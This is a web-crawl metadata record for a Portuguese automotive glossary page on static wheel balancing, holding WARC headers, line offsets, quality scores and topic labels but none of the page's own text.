"WARC-Payload-Digest": "sha1:AKU73GEK6WSIISUW44XB6ELXGMFYAJSA",
"WARC-Record-ID": "<urn:uuid:7044d094-6dd4-4fa4-8a36-ce2050fa69ef>",
"WARC-Target-URI": "https://manualdoautomovel.com.br/glossario/o-que-e-balanceamento-estatico/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:73390797-361c-445e-82a8-fc2d000eae54>"
},
"warc_info": "isPartOf: CC-MAIN-2024-26\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-37\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
51,
52,
83,
84,
116,
117,
454,
455,
495,
496,
927,
928,
965,
966,
1320,
1321,
1610,
1611,
1648,
1649,
1843,
1844,
1856,
1857,
2225,
2226,
2244,
2245,
2610,
2611,
2619,
2620,
2912,
2913,
2923,
2924,
3408,
3409,
3440,
3441,
3453,
3454,
3485,
3486,
3505,
3506
],
"line_end_idx": [
51,
52,
83,
84,
116,
117,
454,
455,
495,
496,
927,
928,
965,
966,
1320,
1321,
1610,
1611,
1648,
1649,
1843,
1844,
1856,
1857,
2225,
2226,
2244,
2245,
2610,
2611,
2619,
2620,
2912,
2913,
2923,
2924,
3408,
3409,
3440,
3441,
3453,
3454,
3485,
3486,
3505,
3506,
3536
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3536,
"ccnet_original_nlines": 46,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.11071428656578064,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02678571082651615,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.11785714328289032,
"rps_doc_frac_unique_words": 0.3528265058994293,
"rps_doc_mean_word_length": 5.984405517578125,
"rps_doc_num_sentences": 25,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.66721248626709,
"rps_doc_word_count": 513,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.2332247644662857,
"rps_doc_frac_chars_dupe_6grams": 0.17100976407527924,
"rps_doc_frac_chars_dupe_7grams": 0.09185668081045151,
"rps_doc_frac_chars_dupe_8grams": 0.09185668081045151,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.10032573342323303,
"rps_doc_frac_chars_top_3gram": 0.009771989658474922,
"rps_doc_frac_chars_top_4gram": 0.03094463050365448,
"rps_doc_books_importance": -212.4376678466797,
"rps_doc_books_importance_length_correction": -212.4376678466797,
"rps_doc_openwebtext_importance": -114.035888671875,
"rps_doc_openwebtext_importance_length_correction": -114.035888671875,
"rps_doc_wikipedia_importance": -78.90593719482422,
"rps_doc_wikipedia_importance_length_correction": -78.90593719482422
},
"fasttext": {
"dclm": 0.8008683323860168,
"english": 0.0007196699734777212,
"fineweb_edu_approx": 1.4954006671905518,
"eai_general_math": 0.000886379973962903,
"eai_open_web_math": 0.41166430711746216,
"eai_web_code": 0.5197317004203796
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.